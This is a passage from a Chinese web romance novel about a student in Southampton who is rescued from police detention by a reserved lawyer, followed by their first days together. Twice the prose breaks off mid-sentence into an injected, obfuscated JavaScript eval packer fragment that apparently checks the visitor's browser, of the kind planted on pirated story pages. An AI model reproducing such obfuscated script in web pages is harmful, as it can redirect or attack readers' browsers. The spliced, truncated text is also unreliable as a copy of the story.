《温带气候》 1. 初见 -01- 2017年的12月25日,穗和第一次遇见傅令絮。 那天是英国的圣诞节,街边垃圾桶堆满了红玫瑰,圣诞颂歌和恋人的玻璃誓言,没能传到上帝的耳边,南安普顿市在这一晚,暴雨突发,冲断了最后一班回市区的七路公交,像极了泰坦尼克号在伯尔法斯特港起航前那一晚。 Jack赢得了一张船票,人声穿过呼噪的小酒馆,意气风发地喊着。 ——有些人的人生将会因此改变。 雨量充沛,人声鼎沸,灰暗潮湿的监控室里。 一整晚她的身边来来去去好多人,无意经过,却有意停下目光去看清她的脸。他们穿着得体而统一,肆意聊着东方女性,西方经济,甚至提到二〇〇三年美军对伊拉克宣战那天的股票价格。 他们像是这个世界的大娱乐家,今夜一切都与他们相关。 只有电话铃声尖声刺耳响起时。 他们才会想起只是在做一些边角料的工作,现实总像打开木柜时满地飞蹿的蟑螂和冲上脸的樟脑丸霉味,令一位警官慵懒的站了起来。 他的视线漫无目的地扫着,目光最终下意识停在角落阴暗处。 她长发松松垮垮地绑在脑后,黑色毛呢大衣放在墙角,不着痕迹地被酒水打湿了大半部分,连拎起来都费劲。里面穿的却是一条符合圣诞气息的酒红色针织长裙,领口不低,却因为太贴身,而恰好勾勒紧致的身线。 手腕上系着小熊发圈,毛绒材质的,跟她本人明艳的气质并不相符,肌肤藏在暗处也能白得发光,令人挪不开眼,像是从泥泞中吐放的野山莓。 她并没有看向任何人,只是困惑着举起手,声音明确,“我想打电话。” “这位女士,您已经打了多数个电话了。”警官突然扬声,一惊一乍地回答她,“您没有任何身份证明,您提供的学校,正在合理放假,无人接听。” 她轻轻皱着眉,神色警惕,“其他人呢?” “您的家人已经知悉情况,但没有再次来电。” “那……” 警官厉声打断她,“那你或许可以耐心等一等!我十分相信中国大使馆的办事效率,可是我仍然要不幸的告诉您,他们核实身份也需要时间。” 她垂下双眸,微怔半晌,像是只能接受这样的说法。 警官用力拍掌,吸引所有人的注意,以作确认。 “那么,我再问最后一遍,在场各位是否确认没有保释人?” 几个霸占座椅的男孩无所谓地挥了下手,落下时甚至停在额前,冲着警官敬了个礼。 警官嘴里叼着一根没有点燃的烟,提了下腰间的钥匙,说得是端正低沉的英式口语,优雅却被不耐烦顶替,“很好,依然祝你们今晚在这里过得愉快。” 话音未落,迎风起声。 “陈穗和!” 这是她一整晚第一次听见有人喊她的中文名。 也是第一次听见有人可以将陌生人的名字念出诗意。 虽然一点都不符合她此刻狼狈的境地。 她背影一怔,隔了几秒才下意识转过身来,欣喜触达神经时,脸上却仍然是茫然的表情,唯一的气色是被夜风吹红的鼻尖。 他逆着光走向她,比从他身边经过的男生都要高,浅褐色长款风衣迎风敞开着,深灰色西装的严谨沉重感被细纹设计削弱,原本的金属袖扣被一颗翠虬宝石取代。 光从样貌和衣着来看,很难辨别年龄。 但气质让人难以移开目光,相比奢华高调,他更显讲究清冷的矜贵感。 他停在她面前时,低了下眼睑,迅速打量了她全身一眼。 只发觉她在冬夜穿着一双夏天的泡沫拖鞋,完全不合脚。 停了几秒,他好像想到什么,才平淡地开口,“穗和。” 见她没有否认,也没有更多余的反应,傅令絮先越过她一步,高大峻拔的身躯正好将她藏于身后,径直上前跟警官对话,“我要带她走。” “那我不介意再重复一次,这位女士缺乏身份证明,她不能……” “建议和你的上级确认。”傅令絮冷淡地说,“立刻。” 警官将钥匙从腰间扯下,用力扣在桌上,正欲开口,却被一阵急急响起的电话铃打断,他只好冲傅令絮伸出食指,却被他更为阴冷的眼神镇住,迅速转向另一边,对着无辜看热闹的人骂骂咧咧了几句,另一只手用力抓起话筒。 不到二十秒的通话。 警官的眼神便从怒意变成了困惑,说话时情绪里都带着郁闷。 “你们可以走了。” 傅令絮没有接话,旋即转身,看向穗和时,她惊讶着开口,“可以走了吗?”看向的却是更为不解的警官,他重复了一遍,“你可以走了。” “哦……” “能在这么短时间联系到学校负责人,找到大使馆在英留学生名册,甚至还取得了出入境记录。”警官不可置信地看向傅令絮的背影,“想必先生是位大人物。” 警官还在他身后絮叨,“银行家?或者……律师?我想其他人没办法这样无所不能。”他越说越不自信,“难道是私家侦探?” 穗和闻言轻轻一笑,发觉他疑惑时眉毛会变成八字形,忍不住越过傅令絮的肩膀,对着警官说,“先生,您知道他是大人物就行。” 警官还是继续猜测,“难道这位先生是……” 傅令絮的神情显而易见的不耐烦了,摩挲袖口的动作却是慢条斯理的,他转身瞥了警官一眼,下巴冲着穗和一扬,“我是她的家属。” 警官微微张口,飞快地看了他一眼,穗和在他背后亦是。 “可以走了吗?” 不等任何人回答,傅令絮已经将大衣脱下来,一把罩在了穗和的身上,他的手指不小心穿过她后颈的长发,带着温热,惊得她微微缩了下肩膀。 他手上用力往里一拢,让她整个人窝进他风衣的余温里。 转身离开,警官看着他们两个人交错着渐行渐远渐的身影。 好半天才反应过来,嘟囔了句,“原来这个小女孩才是个大人物啊……” 不然怎么会搬得动他这样的人。 / 一前一后走出警察局。 傅令絮在前,只相隔半步,穗和在他身后深深吸了几口下鼻子,这一动作令傅令絮停住脚步,回过头望向她的脸,“哭了?” 穗和想撩开被风吹挡在眼角的头发,却很像是在欲盖弥彰,她只好让自己的声音听起来更明朗,至少不那么疲倦,“没有。” 傅令絮将视线上移到她的眉心,避免长时间对视,“不害怕?” “不害怕。”穗和觉得有必要强调今晚的事情,她才是受害者,“我又没有做错事,我为什么要害怕?我只是觉得很麻烦,特别烦。” 傅令絮见她生气又带点委屈的神情,不易察觉的笑了下。 “您笑什么?” 傅令絮见她拧着眉仰头紧紧看着他,像是非要一个答案,开口说,“没笑你。” “虽然您刚刚救了我,帮了我这么大的忙,我应该先谢谢您!但是我必须跟您解释清楚,这是我第一次去酒吧,我是被熟人陷害的……” 他想起几小时的一通国内加急电话。 来自陈闻鸢。 国内当红流量女演员,也是英年早婚上了无数次热搜的阔太。除此以外,傅令絮是她的高中同学,跟她的丈夫更是从小玩到大的好兄弟。平时接触不多,只在陈闻鸢深陷解约风波时,替她摆平了经纪公司霸王合同纠纷。 来电显示的是她先生的号码,傅令絮接通时却是陈闻鸢的哭喊声。 她只问最关键的问题,“傅律师,你人在南安普顿吗?” 傅令絮没有否认。 得不到准确的回答,陈闻鸢抢着说,“那你有认识的律师在南安普顿吗?” 傅令絮直接问她,“你有事直说。” 好在陈闻鸢出道多年有丰富的影视剧拍摄经验,凭借平时记台词的超强记忆力,她几乎一字不落地将穗和的求助电话,给他复述了一遍。 穗和高中毕业后,考完SAT,顺利进入伦敦政治经济学院,就读与环境与地理学院,这是她第一次一个人在国外过圣诞节,趁假期便来南安普顿看望闺蜜姜慧。 第一天便相约去了一趟泰坦尼克号的起航地。 南安普顿不是非常多景点的城市,最大的乐趣是在静谧的公园里欣赏会打架的白天鹅。撑到第四天,也就是今晚,穗和已经打算回伦敦找其他同学逛街。 她原本正在酒店收拾纪念品,姜慧却打来电话。 接通时发现是姜慧男朋友的声音,穗和跟他没有什么交集,但也谈不上坏印象,只是在出国读大学之前吃过几次饭,听他说姜慧因为一点小矛盾在酒吧喝得不省人事,他才打电话来打扰,希望她过来陪陪姜慧,在南安普顿多留几天。 穗和没作他想。 立即带上装好所有证件和卡的戴妃包,轻装上阵打车去了他发来的酒吧地址。 到了才发现,姜慧确实跟他闹了些矛盾,却没有不省人事。 酒吧卡座上也不止他们两个人,年轻男女交缠在一起,时而喂酒,时而接吻,甚至可以轮流换着来,这让穗和立即想离开,却被人一把扯下了背包。 喧闹又躁郁的昏暗环境里,她甚至分不清是谁趁乱灌了她一杯酒。 她越挥手阻挡,那些人越来劲,几乎让她背对着舞池无法动弹脚步。 挣扎几步连珍珠皮鞋都被人踩掉,一脚踢到了不知道哪一处黑暗里。 一左一右趁她大口喘气时扯下了她的大衣,酒红色刺激着血液里的征服欲,手覆到她腰上时,穗和清醒得一把抓住桌上的红酒瓶,哐当一声任其碎在地上。 极快地引起了安保的注意…… 赶到的警察带走了相关干系人,在监控室反反复复问询时,唯一真正认识穗和的姜慧却缄默,在被警官严明后果时,甚至矢口否认实际情况,谎称穗和是一起参加聚会的好朋友,并没有人强迫她做任何事情,有也只是在开玩笑。 比这更让人觉得绝望的是,穗和的背包也在酒吧不翼而飞。 所有的能够证明她身份的物件一并蒸空消失。 ………… 有些事情不能细想,否则会格外后怕。 穗和言简意赅将傅令絮在电话已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被关在监控室像做错事一样反复问询时,她都没有此刻觉得狼狈。 她垂下眼帘,在想要不要先去对面灯火通明的商场找人借一下电话,好打给伦敦的大学同学,但见到傅令絮也是往那个方向走,立刻侧过身,背对着走。 对面却是黑黢黢一条小路。 她越走越慢,人影却拉得老长,她泄气似的垂下双臂时,才发现这不是她的影子,回头惊讶得发现傅令絮正大步朝她走来。 他面色一沉,却很快轻笑一声,“让你不用跟着我,也没让你自己乱走。” “……我以为您走了。” 他眼神中闪过一丝无奈,却没有继续说这个话题,只是将手上的盒子递给她。 “给我的?” 傅令絮不是要给她什么惊喜,也不擅长卖关子,直接告诉她,“换上。” 穗和眼神不敢乱瞄,低着眼眸将盒子打开,是一双银白色的尖头高跟鞋,放在月光下都藏不住的细闪着,“……是给我的?” 傅令絮轻描淡写地回答,“难不成是我的?” 见她迟迟没有动静,也不知道这张脸上除了惊艳还有什么其他解读,傅令絮直接从她拖着鞋盒里拿出那双高跟鞋,看了她两秒,俯下身放在她脚边。 她下意识的屏住呼吸,往后退半步。 傅令絮便伸手前进半步,放在了她那双不合时宜的拖鞋旁边。 他站直身体,身影几乎笼罩住她整个人,穗和明明说了句“谢谢”,声音却轻到连她自己也没听见,傅令絮却若无其事的拿出手机,好似在看定位。 她绷直了脚背,光洁白皙的肌肤慢慢踩进鞋里,像是一种干净的仪式感。 只是比她预想的大了一号,她个子将近一米七,脚却是最平均的三十七码。她走得很慢,安静的小路上只有她走路的声音。 他转过身去,再自然不过的绅士举动,却像是压死自尊心的最后一根稻草,在监控室被反反复复问询时,穗和只是动怒,在被姜慧背叛时,她也只是难过。 但当那双细闪昂贵的高跟鞋,被他认真摆在她的劣质拖鞋旁边时。 所有今晚的委屈突然一瞬间都涌了出来。 只几步,眼泪就无声无息地滑到了她的脸颊,她再轻不过的吸了下鼻子,傅令絮停了下来,但他没有转过身,几秒以后便继续往前走,只是步伐慢了许多。 他在前面问,“合脚吗?” 甚至已经想好了回答——如果不合脚,也只能忍一下。 但穗和却深深吸了一口气,微微摇头,对他说,“傅令絮。” “嗯。” 穗和笑着看向他的影子,看他们重叠在一起,说了句,“刚刚好。” 十二点的钟声也刚刚好敲响,泰坦尼克号从这里起航,港口的波浪反射着都市的不夜光,堤坝上有人在贩卖船票,像是在预售春天和爱情。 也像穗和此刻的心情,不知道她今晚即将走向哪里。 只是突然明白,爱上一个人,其实只需要一瞬间。 2. 碎发。 -02- 傅令絮的车随意停在街边,他径直坐进车里。 穗和犹豫了几秒,觉得还是坐后排稳妥一点,刚要伸手拉开车门时,正对向她的副驾座后视镜上,冒出一只家养小精灵多比的贴纸。 它脚下踩着一行应景的祝福“Merry Christmas”。 孩童的玩笑,给了穗和两秒钟的轻松感。 她微微勾下腰凑过去又打量了一眼。 车灯骤亮,透着点轻慢,明明不是刺眼的亮光,却让她整个人更紧地拢进他的大衣里,原本双手提在腰间的风衣扣上,顷刻间张开手掌背挡在额前。 手放下来时,灯光变柔和,只见傅令絮已经从驾驶座探过身,替她打开了车门。 副驾座的车门。 他没有说话,开完门后手肘漫不经心地搭在副驾的椅背上,朝后望向她。 像是一种明晰的邀请,亦是一种无声的催促。 穗和慌张地看向那张贴纸,避开对视,伸手扶住车门,连此刻高跟鞋踩进车里发出的轻响,她都觉得好似是一种打扰。人还没有坐端正,手已经不听控制地拉向安全带。 她低下头,认真去摸锁扣。 手机递到她眼前时,她才恍惚地抬起双眸,稍微理解就反应过来。 “我姐姐应该急坏了。” 傅令絮的目光不在他的手机上,他抿了下唇,明明表情和语气都有些冷淡,却又有着一双能盛下月亮湾的双眸,清冽又温柔,“打个电话报平安。” 穗和想伸手去接,来电突然自动响起。 她吓得轻轻一颤,下意识摆了摆手,让傅令絮去接他的电话。 陈闻鸢直奔主题,“出来了?” “嗯。” “没事吧?” 傅令絮想也没想,“看她希不希望其他人有事。” “行,那你帮忙多照顾一下我妹妹啊,亲妹妹,找个人靠谱的人送她回伦敦。”陈闻鸢还在嘴里念着,“最好是你自己,别人我是真放心不下……” 见她还要絮叨,傅令絮打断说,“嗯,先挂了。” 傅令絮转回身,三句话就把对方打发了,令人分不清是谁。 “你姐。” 傅令絮说话时,手同时握上方向盘,在发动车辆之前,倏地转过头问她话,恰好撞上她还没回神的眼睛,将一句寻常话讲得惊天动地,“饿不饿?” “啊?”穗和顿了下,大致梳理好情绪,“哦,不用麻烦了。” 见她没有否认,肚子却不争气地响了一声。 傅令絮平声回她,“受人之托。” 这很像是陈闻鸢会交代的事情。 或许他们朋友之间有无数个感谢的机会,但穗和不是,她觉得这份人情更像是在给他添麻烦,思绪有一点飘忽,连说话都轻了几分,“太晚了,真不用……” 片刻安静。 忽然,他带着点笑意的清淡声音落下,“那有劳陪我吃一点。” / 今夜持续暴雨,路途遥远,傅令絮没有将车开回市区。 半小时后,抵达了一家在南安普顿少见的中式餐厅,于海为邻,玻璃构造,让边界变得模糊,甚至无尽,纵然是在古典的英国小镇,也透着淡淡的禅意。 好似已经改名为玛丽莲的旧情人,时过境迁,依然琵琶轻弹菩萨蛮。 傅令絮显然不是第一次来,从进门到进入包厢,他都轻车熟路。餐厅服务生很自觉地跟在他们身侧,距离半步,招呼着穗和,鞠躬伸手请她坐到傅令絮的对面座位。 穗和向他到头道谢,保持着礼貌的笑容。 想到接下来对桌吃饭那些避无可避的对视,那些她根本无法集中注意力的交谈,心情却像是麦穗刚好熟了,又欣喜又低沉。 她忽闪着眼睫飞速瞥了一眼对面,傅令絮已经坐稳,正低着头回消息。 穗和不敢多看几秒。 大概是因为心虚,总觉得傅令絮下一秒就会抬眼看向她。 室内生暖,飘到她脸上一般,她将傅令絮那件风衣脱下,动作轻柔地叠好还抱在怀里,视线从里往外漫无目的扫着,发现港口的水是白漫漫的,反而天色才是青蓝。 穗和轻轻吸了几口气,目光从玻璃外收回,弯下腰准备将衣服放在旁边空位上时,傅令絮经过她眼前,她直起身眼神里带着疑惑。 他冲她淡淡笑了一下,再自然不过地接过她手上的风衣,转而拿给服务生。 从原本对面的位置走了过来,在她的身边坐定。 服务生站在一旁,恭敬地先开口询问。 “先生,晚上好,没有意外,我还是按您之前宴客的菜品搭配点单。” 他礼貌地“嗯”了一声。 话音刚落,眼睛都来不及看向转过身去的服务生,想法已经下意识说了出来,这种仓促使他不习惯似的拧紧着眉心,“今天重新点。” 服务生稍愣在原地,转过身很快恢复平静的声音,“好的,先生。” 将菜单重新拿来,服务生刚放下第一本,傅令絮已经推到了穗和与他中间。 服务生便识趣地将另一本菜单叠好,双手拿稳放在身前。 “按你喜欢吃的点。” 穗和有些不知所措,盯着看的字一下子都不清晰,“您点就好,我都行。” “能吃辣?” 穗和面上窘迫,迟疑着说,“……不太能。” 傅令絮随意翻了翻,语气也轻松,“最难伺候的就是你们这样说都行的人。” 她可不敢让他伺候…… 纵然只是听到这样的玩笑话,也令穗和又紧张起来。 她胡乱地往顺眼的图片上一指,白瓷罐,青绿薄荷叶,名字也让人脑补味道,叫牛油果官燕,“那就这个吧,看起来温温热热的,适合冬天吃。” 傅令絮饶有兴致地轻轻一笑,“十道招牌菜,唯一的冷菜给你选着了。” “啊……”穗和赶紧又低下眼,像是上课开小差被老师抓个正着,连鼻尖都浮上了一点红色,报了不出错的松茸饭和斑节虾。 见他没有说话,淡淡松了口气,缓慢将菜单推到傅令絮眼前,“您也点。” 傅令絮“嗯”了一声,让服务生看着给他配几道常吃的,最终眼神又落到牛油果官燕上,不易察觉地笑了一下,缓缓抬了下眼说,“甜品,要温温热热的。” “先生,您应该知晓的,这道是配合冰镇果汁特制的甜品,煮沸会破坏官燕的口感。”服务生据实相告,“想吃热的汤品,您可以选择其……” “就要这个。” 傅令絮说得漫不经心,却让穗和发愣地盯着自己的空碗,像是这一刹那,一个气球也能重重地压在她的心口,忽上忽下,连呼吸都变紧促。 服务生站在一侧沉吟了几秒,表情为难,但还是应下,“您稍等。” 按习惯,菜品应该由固定的次序逐一上桌。 但是傅令絮让他们一起摆上,越快越好。 穗和吃得慢条斯理,一小勺花胶鸡汤泡米饭都能做两口吃,但她吃东西时很专注,傅令絮亦是,不过他是撑的。他接到陈闻鸢电话时,刚在市区吃过饭。 看她捏着碗沿又给自己盛了半碗热汤,傅令絮好笑地问她,“有这么好吃?” 穗和被他问得茫茫然,汤匙刚进嘴,来不及转过头,“嗯……” “我看你是饿了。” 穗和没有否认,认真说道,“我在伦敦几个月,还没有吃到过好吃的中国菜。” “那你可得在国外待好几年。” “只能等寒暑假回家多吃几顿了……” 傅令絮看她懵懵的表情,反倒是笑了,“来之前没考虑到这些?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅令絮重新启动车辆,视线平视向前,心情像是车玻璃上的雨雾,模模糊糊的。 他用余光瞥见穗和低垂着头,不自觉地前倾着身体,在找脸颊上挠人的碎发,傅令絮笑了下,头也不转地伸手触到她的鼻尖,精准扯下到最讨厌人的那一根。 她的鼻尖突然呼吸一滞,傅令絮的手指是温热的。 这才让她发觉她的鼻尖有多冰凉。 她伸手去摸自己的脸,又偏偏不是,发烫的感觉能让她慌张起来。 “这个借我一下,我盘一下头发,不然碎发都落在您车上了。” 她突然开口这样说。 傅令絮伸手去打开车载音响,正在挑选歌曲,还没看清她指的是什么。 穗和已经在他身边用他最顺手的一支钢笔,迅速在他眼前盘起了长发,她转过头去给他看,想表明不会再落发了,却在这一闪一回之中,让碎发轻易扑向她的眼睛。 她转动时微微带起了风。 像刚摘的栀子花,满满落入清水中。 随机到的歌曲有着恰如其分的浪漫,明快的女声像是在念白,“I need a man who''s patient and kind,Gets out of the car and holds the door。” (我需要一个耐心善良的男人,他会下车帮我把门打开。) 穗和笑着问他,连眼神都更为莹亮,指了指自己的头发,“神奇吧?” 傅令絮转过脸,继续开车,五感好像还停留在上一秒。 半晌才勾了下嘴角说,“真神了。” 又整齐,又凌乱。 但是又足以让他牢牢记住她的脸。 3. 触碰 -03- 整个歌还没有放完,傅令絮已经将车开进了酒店停车场。 来旅游之前,穗和在Bookings上浏览过,与其说是商业酒店,不如说是玻璃花房,并非凭空垒砌着极尽华丽的陈设,而是以花草丛生为地基。 这与傅令絮的带给她的感受相似。 纵然只是短暂相处,从食宿上也不难看出,他极喜欢纯粹、洁净的事物。 傅令絮将车停稳,胳膊撑在方向盘上,转向穗和,“到了。” “哦,好……” 一句话令穗和再次慌张起来,低下头胡乱去摸索安全带的解扣位置。 不用余光特意去看,也能发现他的身体前倾过来。 只是一瞬间,穗和已经感觉到他朝着自己靠近,他没有用任何能够用花和雪去形容的香水味道,只是将他的讲究转移到了衬衣的质感上。 寻找安全带扣的手被他一霎时按住时。 蹭在她手背的衬衣,带着他自然的体温,很干净,很分明,也很柔和。 他的声音在她耳边响起,“我替你开门。” 穗和也不知道是哪里来的勇气,猛地抬起眼,“不用了,不用这么讲究的。” 脱口而出以后,立即觉得这句话仿佛在说他讲究,她自问从小深受师长喜欢,怎么到他面前就像是思觉失调,说出这样不得体的话。 何况英国人不是讲究绅士文化? 傅令絮神色如常,看穿她的心思一般,平声说,“入乡随俗。” 她下意识将双手放在腿上,小声说着,“从来没有人给我单独开过车门……” 打车的司机都没有过。 穗和不知道他此刻的神情如何,只觉得他说话时是似笑非笑的语气,拉开车门那一刻,他说着,“那今晚有了。” / 傅令絮领着她上了电梯,脚步没有丝毫迟疑。 在经过大厅前台时,穿好制服、胸口配花的行政女士冲他们微微点头,微笑着以示招呼,大概是因为心虚,她从没有跟一个男人单独进过酒店。 穗和的步伐突然加快,从傅令絮身后绕到他的另一侧。 没有要减速并肩而行的意思,甚至离他稍远了一步。 刚刚要越过他时,倏地被他捏紧了另一侧的肩膀,往他身边一带,“跑什么。” 穗和不免踉跄了半步,肩膀轻轻撞在了他的胸口。 傅令絮的动作只要三秒,甚至已经想不起他手指的力度。但穗和却觉得呼吸都像停了一瞬,张了张口,最终也没说什么,跟着他走进空无一人的电梯。 停在Canterbury bell房间前。 傅令絮将门打开,才想起来她的行李箱,“行李箱在同学那边?” 他突然这么一问,像是一种无意的提醒,心头还萦绕着逃不掉的紧张感,人站在门外,始终没敢迈步,只开口说,“对,我会尽快去拿,临时身份证补办应该也不难,我想……我应该很快就可以顺利回到伦敦。” 傅令絮转过身,好似对这件事并不在意,冲她抬了下手,“进来。” 好像说话能轻微缓解情绪,穗和迈出一步。 转过身等木门安静关好,边说着话,“今天谢谢您,如果您工作忙完有空到伦敦,也有空见我,我一定带您好好逛逛,当作回礼。” 傅令絮眼含笑意,目光停在她脸上许久,“其实这附近也不错。” 穗和不明所以地飞快看了他一下,众所周知南安普顿除了泰坦尼克号相关的人造景点,没有太多值得驻足的地方。 她心想,这大概是像傅令絮这样矜贵冷峻的人,对于“没空”的一种体面的表述。 “不介意的话,你就暂时住这间。”傅令絮走到靠落地窗的房间,伸手替她打开门,“工作需要,买了打印机,可能会有一点油墨味。” 穗和礼貌地微微点头,认真说道,“这个不要紧的……” “早点休息。” “嗯……您也是。” 穗和走向房间,必须从他身边经过,他半个身体还挡在门前。 她能感觉到他肆无忌惮的打量着她的反应,假如她低着头请他让一下,就势必会被发现她在有意回避他的注视。 不给她继续思考的机会,傅令絮为了让道,往她身边又靠近半步。 声音像是从她颅顶扑到眼前,带着清冷的气息,“注意水电。” 虽然在英国,阴晴不定的天气,让短路变成再常见不过的事情。 穗和还是忍不住瞟他一眼,觉得是故意。 但语调还是偏缓慢的,像是倦懒,“我又不是小孩子……” / 翌日。 南安普顿市依然落雨,气温骤降,只有2°,偏西南风,雾气比水汽更大,漫延到整座城市,连唯一的港口也看不见出海的堤坝。 穗和其实早已经醒了,这一晚她睡得很沉,很安稳。 闭眼之前,她的思绪还很活跃,明明房间里真的有一股浓郁的油墨味,她却也不觉得刺鼻,只想让这些气味冲散她心里的那一抹令人心悸的气味。 电台情歌和下雨天是英国人的古老浪漫。 早晨七点,不知道是哪里的电台已经开始响起沉郁靡靡的情歌。 穗和推开窗,让声音流进来,好让她解锁开门的声音不那么显眼。 她拉扯着身上仅有的一件针织裙,摸到腰间微微皱起的地方,她又快速将门锁好,取出房间里的熨斗,摊开在床上,一点一点地仔细熨平。 穿上身时,带着熨斗服帖温和的热度,令她的脸上的起色看起来也浮上了一层淡淡的红晕,要是有一支更显肤白的口红就好了,她这样想着。 在门口深吸了两口气,趁耳边情歌的最后一句。 她一把拉开了房门。 客厅空荡荡的,只有木制茶几上的玻璃瓶里换了一束更新鲜的垂丝茉莉。 对面傅令絮的房门紧闭着,她不便也不敢贴着耳朵去听动静,转眼看见玻璃瓶旁边放好的东西,像是饼干屑和砂糖同时落在心底,有一些粗粒感的清甜。 她走过去,半蹲在茶几旁边。 直到看见卡片上自己的名字,才确认着打开盒子—— 穗和。 一串手机号码。 一叠现金。 一部新的iPhone手机。 一张手机卡。 还有。 落款是他的名字,傅令絮。 这是穗和第一次知道他的名字是哪几个字。 也是第一次知道什么是字如其人,有锋有劲,写出这样诗情的名字。 穗和深深吸了一口气,捏紧带有他手机号的卡牌不知道松开。 她又看了一遍,垂丝茉莉的气息趁机扰乱她的心绪。 这一瞬间,像是春天走过了皑皑白雪。 / 到下午,这场雨还没停,也没有要停的意思。 穗和安装好手机,重新下载并登录好必备的软件。第一时间与陈闻鸢取得了联系,她正在乌镇拍戏,电话里总有换场布景的杂音。 但知道她平安,陈闻鸢也放心下来,叮嘱她有事就找傅令絮商量,以他们的关系,他算半个家里人。 听到这里,穗和不怎么的突然笑了一下。 陈闻鸢挂电话之前,提醒说,“不过傅令絮这个人工作太忙了,不容易联系上,你要是实在找不到他,就打电话给我,我去找你姐夫加急抓人。或者你先别急着乱跑,多等几天,他一有空就会安排你回伦敦,不然我不放心。” 穗和一一应下。 但挂了电话,她还是按照网上搜索的补办流程,先给学校行政管理处发了一封求助邮件,然后查询了最近可办理临时身份证的火车站和汽车站。 这并不是困难的事情,只是麻烦。 因为不是每天都有此项业务的办理窗口。 目前就不对外开放,最快也得等到五天后。 但再怎么麻烦,也比像是一直给傅令絮添麻烦要好得多。 没等到雨停,穗和决定先去找姜慧取回行李。 临出门前,她问大厅前台借了一把雨伞。 撑开时才发现伞柄断了两截,不过不影响使用,只是拿着费力了一些。 在TrianPal买了一张地铁卡,见到Railcard有打折活动,每张地铁票可以便宜三分之一价格,在圣诞节期间购入火车票也有优惠,于是在现场算好了金额。 抵达姜慧租住的地方。 穗和仰头看向二楼,傍晚时分,英国的天气已经透黑,任何浮云翻动都像是更恶劣天气的预兆,令人心情很符合时宜的低沉着。 只有她那间房没有灯亮起。 这让穗和不敢轻易上楼敲门,昨晚酒吧没有人管她死活的那一幕她还印象深刻,担心再次遇见那群人,她只好退到对面的小公园,给姜慧发了条微信。 她没有很快回复,而是高喊着穗和的名字,像是看到了救星。 姜慧从不远处的雨里冲过来,没等穗和反应,她已经躲进了她的伞下,死死抓紧她握住伞柄的双手,水珠被她摇晃得四处飞溅,像是心底打鼓。 她抬高嗓门,先问的是,“穗和,你没事吧?” “没事。” 接着理解问她,“那个男人是谁?救你的那个!能不能让他放我们一马?” 大概是因为她先开口询问的是自己,穗和有那么几秒的心软,喉咙却像是腐草烧烬,干涸着给不了她想要的回答,连她自己也不知道是怎么一回事。 姜慧已经控制不了情绪,她憔悴得像是一 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穗和冷静如实地回答她,“我也决定不了,我得先……” 姜慧哀求着,“你帮帮我吧,就一次,就这一次。” “我还是得……” “你就是不肯帮我!”姜慧耐心全无,突然嘶喊着。 一把将穗和手上的雨伞打落,断折的伞柄因骤然而至的猛力完全偏向穗和的脑袋,耳垂、脸颊和脖颈几乎无一幸免地被伞柄打了个正着。 一道鲜艳的红痕刮在她看不见的肩颈上。 穗和吃痛地伸手去摸,脸上全是密密匝匝的雨水,她情不自禁眯起眼。 又被姜慧一把推到地上,她无法自控似的扑上去,拉扯着她的衣领,穗和力气也不小,推开姜慧时,令她一巴掌刚好打歪,指甲从她下颌猛地刮过。 “姜慧,你冷静点!” “我怎么冷静!我们要坐牢了,只是想让你喝杯酒,你为什么就是不肯喝?!你为什么总是这样假清高?!他要是坐牢了,我该怎么办啊,没有人会爱我……” 姜慧瘫坐在地上,穗和已经将她推开,自己站起来低着眼看向她。 她将地上淋着雨的伞捡起来,还想说些什么。 最终缄默。 看着姜慧陌生又脆弱的脸,她忽然觉得旁人是很难真正叫醒一个恋爱脑的。因为她经历的那些困境也好,编织过的美梦也好,在虚无和迷幻之中,多少存留了一丝两片的真心。 穗和分不清她有没有哭,只觉得眼睛很酸很胀。 / 回到酒店房间里,整个空档的房间里好像没有人回来过,只有她早上写的一张小纸条,还端正地压在玻璃瓶下,垂丝茉莉半日疯涨,像要拖到地上。 像一下子落入大气层,整个人都在滴着雨失重着。 她打开淋浴,重新进入热水中,仰着头让热蒸汽驱走她的坏情绪。 电台依然放着情歌,在问,女孩你为什么哭泣。 一句话又一次戳破穗和的防线,令她一瞬间蹲下身,抱住自己的膝盖。让热水打在她光洁白皙的后背上,让溅起的水花烫得她觉得后脖颈微微发疼。 她没有听见外面有开门的声音。 傅令絮却将伞放在了门外的箩筐里,关上门,逡巡了一眼室内,没有开灯,只有分不清是内还是外忽停的水声,他换上柔软的棉拖鞋,坐到沙发上。 目光投到玻璃瓶下,花丝盛放的地方—— 一张永远有效的借条。 穗和欠傅令絮五十英镑、一部新iPhone和一次救命之恩。 另外,先请您喝一瓶我最喜欢的牛奶(虽然是酒店冰箱里拿的)。 祝您晚安。 穗和。 2017年12月26日 他几乎下意识笑了出来,扭过头看向她的房间门,虽然紧闭着,却幽幽透出一点橙光色的灯光,犹豫了几秒,转过身看回到花丝上。 像是只有藤蔓可以肆意自然地延展到她的房间,她的身边。 天地安静,只能听见心声事。 “啊——”一声尖叫从室内传来,紧接着是玻璃落地清脆的刺耳声响。 傅令絮霍地从沙发上站起来,几步走到门边,敲门喊她的名字。 “穗和?” 走近才发现有吹风机的声响,轰隆隆地盖住了她的回答。 傅令絮的手已经握到了门把手上,却又喊一声,“穗和。” 这次有了扬声回响,“请进——” 傅令絮轻叹一口气,将门打开,看过去时,穗和正站在窗边,长发大部分还湿透着,连带着她的眉毛、眼睫都是湿漉漉的,透明的水珠滴在她的脸颊。 打碎的牛奶泼在她的领口。 和胸口。 4. 玫瑰。 -04- 窗户开着,凉风带雨迎面吹起她的长发,发丝之间却是电吹风的暖热。 冰火两重天的感受。 如同傅令絮此刻的心理状态。 他可以发誓他没有任何龌龊的想法,却像是心底塌陷了一处缺口,任风雪肆意涌入,不给他任何迟疑的机会,令她比天色和花色更惊艳。 反而是穗和甩了下手,惊讶地问,“您回来了?” 傅令絮别开眼,背靠着门站,半身浸入客厅的光中,“希望我走?” 穗和赶紧说,“没有,怎么会呢……” 